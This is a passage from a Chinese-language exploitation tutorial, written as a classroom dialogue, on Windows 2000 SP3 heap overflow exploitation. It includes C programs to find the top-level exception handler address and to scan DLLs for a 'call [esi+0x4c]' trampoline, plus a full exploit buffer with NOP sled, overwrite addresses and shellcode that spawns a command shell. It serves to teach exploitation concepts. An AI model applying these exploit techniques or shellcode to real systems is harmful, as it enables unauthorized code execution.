4.2.6 定位的改进——call [esi+0x4c]

老师小结了一下:“默认异常处理地址在Win2000 SP3下是0x77ec044c。但在不同系统、不同SP下,其值是不一样的。我们可像刚才一样,用IDA反汇编kernel32.dll分析,但很麻烦;也可用isno写的GetTopSeh.c来获得默认异常处理地址,程序如下,我加上了一些注释。”

#include <stdio.h> 
#include <windows.h> 
void main() 
{ 
  unsigned int sehaddr; 
  int *un; 
  HMODULE hk = LoadLibrary("KERNEL32.dll"); 
  un = (int *)GetProcAddress(hk,"SetUnhandledExceptionFilter"); 
    //找到SetUnhandledExceptionFilter函数的地址
  _asm{ 
        mov eax,un 
        add eax,5
        mov ebx,[eax]?
        mov sehaddr,ebx //函数开始的第5个字节就是默认异常处理地址。
    } 
    printf("the top seh: 0x%x\r\n",sehaddr); //将默认异常处理地址打印出来
    _getch();
    return;
}

“对比IDA里面的代码,应该很容易理解,程序是读出SetUnhandledExceptionFilter函数开始后第5个字节的内容,即异常处理指针的存放位置,然后打印出来。执行效果如图4-24,在我的Win2000 SP3机器上,默认异常处理地址是0x77ec044c。”

“有了这个方便多了!”大家说道,“我们可把所有系统的默认异常处理地址都读出来,然后存储起来供以后使用。”

“但是……”古风问道:“where是可以正确确定了,但what呢?还是不能确定啊!”

“对!刚才ShellCode的地址是在主程序里直接读出来的,虽然我们可用NOP暴力扩大ShellCode的范围,但通用性始终不好。我们将它改进一下吧!”老师说道。

“怎么改进呢?有什么东西指向堆的数据吗?”古颇感兴趣。

“呵呵,Windows 2000作顶层异常处理时,esi+0x4C正好指向下一个堆管理结构,如图4-25。大家想想,怎么做可以改进定位呢?”

大家个个眉头紧蹙。

“哦!”宇强一下叫了出来,“我们把what覆盖成 call [esi+0x4c] 的地址。这样异常发生时,系统就会执行 call [esi+0x4c] ,从而到达下一个空闲堆的管理结构中。在那里,我们放上 JMP 0F 指令,就可跳过后面的what和where,最后到达ShellCode。”

“呵呵,很好,上来画一下示意图吧!”老师鼓励道。

宇强走上讲台,拿起粉笔,画出了图4-26所示的利用思路。

“首先覆盖what为 call [esi+0x4c] 的地址,where为默认异常处理的地址0x77EC044C,” 宇强边画边解释,“这样wha→where 操作时,0x77EC044C就会被覆盖成 call [esi+0x4c] 的地址;如果发生顶层异常处理,就会跳到 call [esi+0x4c] 指令的地方;一执行 call [esi+0x4c] 就到了我们能操控数据的位置。”

“嗯!就是这样!”大家都很赞同宇强的的说法。

“但有个地方还不明白,什么时候会发生默认异常处理呢?”宇强从台上下来时问。

“很好!”老师说道,“大家都要向宇强学习啊!要敢于表达自己的思想,也要敢于提出自己的问题!只有经过思考,大家的思维才能得到锻炼和提高。”

“而发生异常处理的时间,是what→where后,有一个where→what+4的操作,如果保证what+4的地址不可写,那就可以引发顶层异常处理了。”

“哦,这下思路清楚了。”古风一下子明白了。

“我们赶紧合起来利用吧!”同学们都迫不及待。

“但是,” 老师提醒道,“大家发现没有, call [esi+0x4C] 的地址是多少呢?我们还没有呢!”

“对啊! call [esi+0x4C] 的地址还没找呢!”

“我们可把查找JMP ESP的程序FindJmpEsp.cpp稍微改进一下,让它可以找其他指令。我们先找到 call [esi+0x4C] 的机器码是什么,然后在各个dll中找这样的机器码。”老师说。

“首先,我们写一个简单的嵌套汇编的程序,如下:”

   __asm
  {
      call [esi+0x4C]
  }

“和前几节课的方法一样,我们在VC中按F10调试,再点‘Debug’工具栏中的‘Dissassble’按钮,然后点鼠标右键,在弹出菜单中选中‘code byte’,此时会出现 call [esi+0x4C] 的机器码了。如图4-27。”

  

“这下我们知道了 call [esi+0x4C] 的机器码是FF 56 4C,我们把FindJmpEsp.cpp改成在dll中找机器码FF 56 4C的程序(FindCallEsi4C.cpp),如下:”

  #include<iostream.h>
  #include<windows.h>
  int main(int argc, char ** argv)
  {
      bool we_loaded_it = false; 
      HINSTANCE h; 
      TCHAR dllname[] = "User32"; //默认查找user32.dll里面的指令 
      if(argc>1) 
      { 
         strcpy(dllname,argv[1]); 
      } 
      h = GetModuleHandle(dllname); 
      if(h == NULL) 
      { 
          h = LoadLibrary(dllname); //加载dll
      if(h == NULL) 
   { 
          cout<<"ERROR LOADING DLL: "<<dllname<<endl; 
          return 1; 
      } 
         we_loaded_it = true; 
      }
      BYTE* ptr = (BYTE*)h; 
      bool done = false; 
      for(int y = 0;!done;y++) //在dll中查找FF 56 4c并打印
      { 
         try 
         { 
         if(ptr[y] == 0xFF && ptr[y+1] == 0x56 && ptr[y+2] == 0x4c ) 
         { 
             int pos = (int)ptr + y; 
             cout<<"OPCODE found at 0x"<<hex<<pos<<endl; 
         } 
         } 
   catch(...) 
   { 
       cout<<"END OF "<<dllname<<" MEMORY REACHED"<<endl; 
       done = true; 
   } 
   } 
   if(we_loaded_it) FreeLibrary(h); //释放dll
   return 0;
  }

“这个程序如果不带参数,默认在user32.dll中查找机器码;也可将要查找的dll名作为参数运行。在VC环境下,设置程序的参数步骤如下:先点击‘工程→设置’(图4-28)。”

“然后在工程设置对话框中选择‘Debug’栏,在‘程序变量’一栏填写要查找的dll名称,这里我们还是填成user32.dll(图4-29)。”

“设置好后,编译、运行,我们可以看到,在user32.dll中找到了一个,地址是0x77e2f91f。如图4-30。”

  

“哦!这下可以得到构造字符串的示意图了。”同学们画下了图4-31。

“嗯,下面我们就按照这个图构造出数组‘mybuf’,以实现覆盖,如下:”老师说道。

char mybuf[450] = 
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" //上面先用200字节填充“buf1”
  "\xeb\x12\x90\x90\x90\x90\x90\x90" //8字节堆管理结构,eb 12跳过what和where
  "\x1f\xf9\xe2\x77" //覆盖what,call[esi+0x4c]在user32中的地址
  "\x4c\x04\xec\x77" //覆盖where,TOP SEH在2000中文SP3的地址
  //下面是Win2000 SP3下开DOS窗口的ShellCode,参看第二章
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
  "\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"
  "\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA"
  "\x64\x9f\xE6\x77" //SP3 loadlibrary地址0x77e69f64
  "\x52\x8D\x45\xF4\x50" 
  "\xFF\x55\xF0"
  "\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E" 
  "\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4" 
  "\x50\xB8"
  "\xc3\xaf\x01\x78" //SP3 system地址0x7801afc3
  "\xFF\xD0";

“大家注意,我们找的 call [esi+0x4C] 的指令地址是在user32.dll里面,所以要先LoadLibrary(“user32”),以保证加载了user32.dll动态链接库,具体利用程序参看vul1Callesi.c(光盘有收录)。编译、执行,还是弹出了一个DOS对话框!如图4-32。”

“也成功了!”大家都非常高兴。

“好,明白了堆溢出利用的原理,我们来尝试一个真正的漏洞吧!”